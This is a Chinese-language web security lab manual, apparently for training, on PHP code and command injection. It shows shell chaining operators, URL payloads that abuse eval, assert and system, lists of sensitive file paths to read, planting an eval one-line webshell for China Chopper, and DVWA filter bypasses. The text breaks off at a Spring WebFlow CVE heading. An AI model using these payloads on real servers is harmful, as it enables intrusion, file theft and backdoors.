管道符号

实验目的

通过本实验,掌握Windows操作系统和Linxu操作系统常用的管道符号以及不同管道符号的区别。

实验环境

实验原理

通过Windows和Linux不同操作系统执行不同管道符号查看执行结果,掌握不同管道符号的区别。

1
2
3
4
5
6
7
8
9
10
Linux常用管道符:
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出错时执行后面的

Windows常用管道符
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的

实验步骤

Linux管道符

1、登陆kali2018,打开终端
image.png

2、在终端中输入”whoami;ls”,查看”;”管道符前后两个命令都正确的结果
image.png

3、在终端中输入”whoam;ls”,查看”;”管道符前面命令错误,后面命令正确的结果
image.png

4、在终端中输入”whoami;lss”,查看”;”管道符前面命令正确,后面命令错误的结果
image.png

5、在终端中输入”whoami|ls”,查看”|”管道符前后两个命令都正确的结果
image.png

6、在终端中输入”whoam|ls”,查看”|”管道符前面命令错误,后面命令正确的结果
image.png

7、在终端中输入”whoami|lss”,查看”|”管道符前面命令正确,后面命令错误的结果
image.png

8、在终端中输入”whoami||ls”,查看”||”管道符前后两个命令都正确的结果
image.png

9、在终端中输入”whoam||ls”,查看”||”管道符前面命令错误,后面命令正确的结果
image.png

10、在终端中输入”whoami|lss”,查看”|”管道符前面命令正确,后面命令错误的结果
image.png

Windows管道符

1、打开浏览器,访问http://ip/include/include.php?page=xxx.php,获取Web根目录,判断服务器操作系统为Windows
image.png

2、打开Burp Suite抓包工具
image.png

3、切换到“Proxy”代理模块的“Options”,查看Bp的代理
image.png

4、切换到浏览器,对浏览器做代理设置,,与Bp的代理一致
image.png
image.png
image.png

5、访问http://ip/include/include.php>page=php://input,抓取数据包
image.png
image.png

6、鼠标右击,点击”Send to Repeater”(或者快捷键”Ctrl” + “R”),发送数据包到Repeater模块,然后切换到Repeater模块
image.png
image.png

7、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”&”管道符前后两个命令都正确的结果
image.png

8、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”&”管道符前面命令错误,后面命令正确的结果
image.png

9、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”&”管道符前面命令正确,后面命令错误的结果
image.png

10、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”&&”管道符前后两个命令都正确的结果
image.png

11、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”&&”管道符前面命令错误,后面命令正确的结果
image.png

12、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”&&”管道符前面命令正确,后面命令错误的结果
image.png

13、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”|”管道符前后两个命令都正确的结果
image.png

14、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”|”管道符前面命令错误,后面命令正确的结果
image.png

15、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”|”管道符前面命令正确,后面命令错误的结果
image.png

16、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”||”管道符前后两个命令都正确的结果
image.png

17、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”||”管道符前面命令错误,后面命令正确的结果
image.png

18、在数据包中输入”“,点击上面的”Go”,发送修改后的数据包,查看”||”管道符前面命令正确,后面命令错误的结果
image.png

实验总结

通过本实验,掌握Windows操作系统和Linux操作系统常用通道符的用法以及区别,可以用来绕过命令执行。

危险函数之array_map函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/3.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"·"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/3.php
image.png

2、在URL后拼接”?arr=print_r”,访问http://ip/os/3.php?arr=print_r,打印数组
image.png

3、在URL后拼接”?arr=phpinfo”,访问http://ip/os/3.php?arr=phpinfo,查看执行效果
image.png

实验总结

通过本实验,掌握array_map函数的利用,ayyay_map函数为数组的每个元素应用回调函数,当攻击者可以控制函数的输入,从而利用array_map函数进行代码执行。
image.png

危险函数之eval函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/eval.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/eval.php
image.png

2、在URL后拼接”?a=echo ‘This is test’;”,访问http://ip/os/eval.php?a=echo ‘This is test’;,执行代码
image.png

3、在URL后拼接”?a=phpinfo();”,访问http://ip/os/eval.php?a=phpinfo();,查看执行效果
image.png

实验总结

通过本实验,掌握eval函数的利用,成功实现了代码执行,体验了eval函数实现代码执行的过程。eval函数的作用是将字符串当作PHP代码执行。
image.png

危险函数之assert函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/assert.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/assert.php
image.png

2、在URL后拼接”?a=var_dump(array(1,2,3)),访问http://ip/os/assert.php?a=var_dump(array(1,2,3)),执行代码
image.png

3、在URL后拼接”?a=phpinfo();”,访问http://ip/os/assert.php?a=phpinfo(),查看执行效果
image.png

实验总结

通过本实验,掌握assert函数的利用,成功实现了代码执行,体验了assert函数实现代码执行的过程。assert函数的作用同eval函数类似,也是将字符串当作PHP代码执行。
image.png

危险函数之preg_replace函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/preg_replace.php
image.png

2、在URL后拼接”?a=var_dump(array(1,2,3)),访问http://ip/os/preg_replace.php?a=var_dump(array(1,2,3)),执行代码
image.png

3、在URL后拼接”?a=phpinfo();”,访问http://ip/os/preg_replace.php?a=phpinfo(),查看执行效果
image.png

实验总结

通过本实验,掌握preg_replace函数的利用,成功实现了代码执行,体验了preg_replace函数实现代码执行的过程。preg_replace函数的作用是搜索subject中正则匹配pattern的部分,以replacement进行替换。pattern:要搜索的模式,可以是一个字符串或字符串数组。当pattern出存在一个“/e”修饰符时,$replacement的值会被当成php代码来执行。
image.png

危险函数之call_user_func函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/call_user_func.php
image.png

2、在URL后拼接”?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/call_user_func.php?a=var_dump(array(1,2,3)),执行代码
image.png

3、在URL后拼接”?a=assert&b=phpinfo()”,访问http://ip/os/call_user_func.php?a=assert&b=phpinfo(),查看执行效果
image.png

实验总结

通过本实验,掌握call_user_func函数的利用,成功实现了代码执行,体验了call_user_func函数实现代码执行的过程。call_user_func函数的作用是回调函数,把第一个参数作为回调函数使用,其余参数都是回调函数的参数。
image.png

危险函数之可变函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/kbhs.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/kbhs.php
image.png

2、在URL后拼接”?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/kbhs.php?a=var_dump(array(1,2,3)),执行代码
image.png

3、在URL后拼接”?a=assert&b=phpinfo()”,访问http://ip/os/kbhs.php?a=assert&b=phpinfo(),查看执行效果
image.png

实验总结

通过本实验,掌握可变函数的利用,成功实现了代码执行,体验了可变函数实现代码执行的过程。可变函数会把第一个参数作为函数使用,其余参数都是函数的参数。

远程命令执行漏洞利用之利用PHP魔术常量获取信息

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/assert.php

实验原理

探测到网站存在远程命令执行漏洞,可以利用PHP魔术常量获取相关信息。
PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。有八个魔术常量它们的值随着它们在代码中的位置改变而改变。

1
2
3
4
5
6
7
8
__LINE__       文件中的当前行号
__FILE__ 文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
__DIR__ 文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
__FUNCTION__ 该常量所在的函数名称(PHP 4.3.0 新加)。自PHP5起本常量返回该函数被定义时的名字(区分大小写)。在PHP4中该值总是小写字母的
__CLASS__ 该类被定义时的名字(PHP 4.3.0 新加)。自PHP5起本常量返回该类被定义时的名字(区分大小写)
__TRAIT__ Trait的名字(PHP 5.4.0 新加)。自PHP5.4.0起,PHP实现了代码复用的一个方法,称为traits
__METHOD__ 类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)
__NAMESPACE__ 当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/assert.php
image.png

2、在URL后拼接”?a=print(LINE),访问http://ip/os/assert.php?a=print(__LINE__),执行代码,获取当前代码所在的行数
image.png

3、在URL后拼接”?a=print(DIR),访问http://ip/os/assert.php?a=print(__DIR__),执行代码,获取当前文件所在的目录
image.png

4、在URL后拼接”?a=print(FILE),访问http://ip/os/assert.php?a=print(__FILE__),执行代码,获取当前文件的完整路径
image.png

实验总结

通过本实验,掌握远程命令执行漏洞的利用,借助PHP中的魔术常量,获取相关信息。

远程命令执行漏洞利用之读取文件

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/assert.php

实验原理

利用远程命令执行漏洞可以读取一些操作系统的敏感文件,从而获取重要信息。
Windows系统敏感信息:

1
2
3
4
5
6
C:\boot.ini                                  //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root C:\windows\php.ini //php配置信息
......

Linux系统敏感信息:

1
2
3
4
5
6
/etc/passwd                                       //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
......

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/assert.php
image.png

2、在URL后拼接”?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’)),执行代码,获取hosts文件信息
image.png

3、在URL后拼接”?a=var_dump(file_get_contents(‘C:\Windows\win.ini’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\win.ini’)),执行代码,获取win.ini文件信息
image.png

实验总结

通过本实验,掌握远程命令执行漏洞的利用,读取敏感文件,获取重要信息,所以需要尽可能多的收集敏感文件的路径。

远程命令执行漏洞利用之一句话木马

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/assert.php

实验原理

利用远程命令执行漏洞可以执行一句话木马,从而GetShell,借助WebShell工具连接一句话木马。

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/assert.php
image.png

2、在URL后拼接”?a=@eval($_POST[666])”,访问http://ip/os/assert.php?a=@eval($_POST[666]),执行代码,构造一句话木马(Warning警告,但是并不影响)
image.png

3、打开桌面tools文件夹的“中国菜刀(过狗)”,双击exe文件
image.png

4、在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP
    image.png

5、点击“添加”,双击一句话木马地址
image.png

实验总结

通过本实验,掌握远程命令执行漏洞的利用,执行一句话木马文件,从而GetShell。

远程命令执行漏洞利用之写shell

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/assert.php

实验原理

利用远程命令执行漏洞可以执行写文件的代码,生成新的脚本文件。

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/assert.php
image.png

2、在URL后拼接”?a=var_dump(file_put_contents($_POST[1],$_POST[2]))”,访问http://ip/os/assert.php?a=var_dump(file_put_contents($_POST[1],$_POST[2])),并发送post数据:1=info.php&2=,成功执行代码(Warning警告,但是并不影响)
image.png

3、访问http://ip/os/info.php,新生成的info.php脚本文件成功解析执行
image.png

4、在URL后拼接”?a=var_dump(file_put_contents($_POST[1],$_POST[2]))”,访问http://ip/os/assert.php?a=var_dump(file_put_contents($_POST[1],$_POST[2])),并发送post数据:1=shell.php&2=,成功执行代码(Warning警告,但是并不影响)
image.png

5、访问http://ip/os/shell.php,无任何报错,shell.php一句话木马文件成功生成
image.png

6、打开桌面tools文件夹的“中国菜刀(过狗)”,双击exe文件
image.png

7、在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP
    image.png

8、点击“添加”,双击一句话木马地址
image.png

实验总结

通过本实验,掌握远程命令执行漏洞的利用,执行生成代码的文件,从而生成新的脚本文件或者一句话木马文件。

危险函数之system函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/system.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/system.php
image.png

2、在URL后拼接”?a=ipconfig”,访问http://ip/os/system.php?a=ipconfig,执行代码
image.png

3、在URL后拼接”?a=whoami”,访问http://ip/os/system.php?a=whoami,执行代码
image.png

实验总结

通过本实验,掌握system函数的利用,成功实现了系统命令执行,体验了system函数实现系统命令执行的过程。system函数的作用是执行操作系统命令。
image.png

危险函数之exec函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/exec.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/exec.php
image.png

2、在URL后拼接”?a=ipconfig”,访问http://ip/os/exec.php?a=ipconfig,执行代码
image.png

3、在URL后拼接”?a=whoami”,访问http://ip/os/exec.php?a=whoami,执行代码
image.png

实验总结

通过本实验,掌握exec函数的利用,成功实现了系统命令执行,体验了exec函数实现系统命令执行的过程。exec函数的作用是执行操作系统命令。
image.png

危险函数之shell_exec函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/shell_exec.php
image.png

2、在URL后拼接”?a=ipconfig”,访问http://ip/os/shell_exec.php?a=ipconfig,执行代码
image.png

3、在URL后拼接”?a=whoami”,访问http://ip/os/shell_exec.php?a=whoami,执行代码
image.png

实验总结

通过本实验,掌握shell_exec函数的利用,成功实现了系统命令执行,体验了shell_exec函数实现系统命令执行的过程。shell_exec函数的作用是执行操作系统命令。
image.png

危险函数之passthru函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/passthru.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/passthru.php
image.png

2、在URL后拼接”?a=ipconfig”,访问http://ip/os/passthru.php?a=ipconfig,执行代码
image.png

3、在URL后拼接”?a=whoami”,访问http://ip/os/passthru.php?a=whoami,执行代码
image.png

实验总结

通过本实验,掌握passthru函数的利用,成功实现了系统命令执行,体验了passthru函数实现系统命令执行的过程。passthru函数的作用是执行操作系统命令。
image.png

危险函数之popen函数

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/popen.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/popen.php
image.png

2、在URL后拼接a的参数值,比如”?a=1”,访问http://ip/os/popen.php?a=1,执行代码,无任何报错
image.png

3、访问http://ip/os/1.txt,查看新建的执行结果的文件
image.png

实验总结

通过本实验,掌握popen函数的利用,成功实现了系统命令执行,体验了popen函数实现系统命令执行的过程。popen函数的作用是执行操作系统命令。
image.png

危险函数之反引号

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/fdyh.php

实验原理

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/fdyh.php
image.png

2、在URL后拼接a的参数值,比如”?a=1”,访问http://ip/os/fdyh.php?a=1,执行代码,输出想要的结果
image.png

实验总结

通过本实验,掌握反引号的利用,成功实现了系统命令执行,体验了利用反引号实现系统命令执行的过程。

系统命令执行漏洞利用之执行操作系统命令

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/system.php

实验原理

利用系统命令执行漏洞可以执行一些操作系统命令,从而获取重要信息。

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/system.php
image.png

2、在URL后拼接”?a=cd”,访问http://ip/os/system.php?a=cd,执行代码,查看当前文件的绝对路径
image.png

3、在URL后拼接”?a=dir”,访问http://ip/os/system.php?a=dir,执行代码,查看当前目录下的所有文件
image.png

4、在URL后拼接”?a=net user”,访问http://ip/os/system.php?a=net user,执行代码,查看所有用户
image.png

5、在URL后拼接”?a=type
c:\windows\system32\drivers\etc\hosts”,访问http://ip/os/system.php?a=type
c:\windows\system32\drivers\etc\hosts,执行代码,查看hosts文件
image.png

实验总结

通过本实验,掌握系统命令执行漏洞的利用,通过系统命令执行漏洞,执行操作系统的相关命令,获取重要信息。

系统命令执行漏洞利用之写shell

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,体验命令执行漏洞的利用过程。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/os/system.php

实验原理

利用系统命令执行漏洞可以执行写文件的代码,生成新的脚本文件。

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/os/system.php
image.png

2、在URL后拼接:?a=echo “” >
C:\server\apache22\htdocs\os\info.php,访问http://ip/os/system.php??a=echo
” >
C:\server\apache22\htdocs\os\info.php,执行代码
image.png

3、访问http://ip/os/info.php,新生成的info.php脚本文件成功解析执行
image.png

4、在URL后拼接:?a=echo “” >
C:\server\apache22\htdocs\os\shell.php,访问http://ip/os/system.php?a=echo
” >
C:\server\apache22\htdocs\os\shell.php,执行代码
image.png

5、访问http://ip/os/shell.php,无任何报错,shell.php一句话木马文件成功生成
image.png

6、打开桌面tools文件夹的“中国菜刀(过狗)”,双击exe文件
image.png

7、在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP
    image.png

8、点击“添加”,双击一句话木马地址
image.png

实验总结

通过本实验,掌握系统命令执行漏洞的利用,执行生成代码的文件,从而生成新的脚本文件或者一句话木马文件。

命令执行之DVWA

实验目的

通过本实验,掌握命令执行漏洞产生的原因和利用方法,通过源码分析深入了解命令执行漏洞的利用过程以及绕过防御的方法。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 靶机:Apache + PHP
  • 实验地址:http://ip/dvwa/login.php

实验原理

借助DVWA靶场,通过不同等级的命令执行源代码分析,掌握命令执行的防御方法以及绕过防御的方法。

实验步骤

1、登陆”Attack”操作机,打开浏览器,访问http://ip/dvwa/login.php
image.png

2、输入Username:admin和Password:password,登陆靶场
image.png

3、首先选中”DVWA Security”,调整级别为”Low”级别提交
image.png
image.png

4、选中”Command Injection”,跳转到命令执行环境下
image.png

5、正常逻辑应该输入IP地址,做ping请求
image.png

6、利用管道符号的用法,在输入IP地址的同时,结合管道符号和其他操作系统命令,执行获取重要信息
image.png

7、选中”DVWA Security”,调整级别为”Medium”级别提交
image.png
image.png

8、选中”Command Injection”,跳转到命令执行环境下,还是输入IP地址,做ping请求
image.png

9、利用管道符号的用法,在输入IP地址的同时,结合管道符号和其他操作系统命令,执行失败
image.png

10、点击右下角的”View Source”,查看该等级源代码,过滤了”&&、;”
image.png
image.png

11、输入”IP地址&操作系统命令”,绕过Medium级别的过滤,获取重要信息
image.png

12、选中”DVWA Security”,调整级别为”High”级别提交
image.png
image.png

13、选中”Command Injection”,跳转到命令执行环境下,还是输入IP地址,做ping请求
image.png

14、利用管道符号的用法,在输入IP地址的同时,结合管道符号和其他操作系统命令,执行失败
image.png

15、点击右下角的”View Source”,查看该等级源代码,过滤了”&、;、| 、-、$、(、)、`、||”
image.png
image.png

16、输入”IP地址|操作系统命令”,绕过High级别的过滤,获取重要信息
image.png

实验总结

通过本实验,掌握系统命令执行漏洞的利用,借助DVWA靶场对不同级别的命令执行进行代码分析,深入了解命令执行漏洞的成因、防御以及绕过方法,从而执行操作系统的相关命令,获取重要信息。

Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

实验目的

通过本实验,掌握Spring WebFlow 远程代码执行漏洞原理和利用方法,加深了解Spring WebFlow框架。

实验环境

  • 操作机:Win10
    用户名:Administrator
    密码:Sangfor!7890
  • 操作机:kali
    用户名:root
    密码:Sangfor!7890
  • 靶机:Ubuntu + docker
    用户名:root
    密码:Sangfor!7890
  • 实验地址:http://ip:8080/login

实验原理

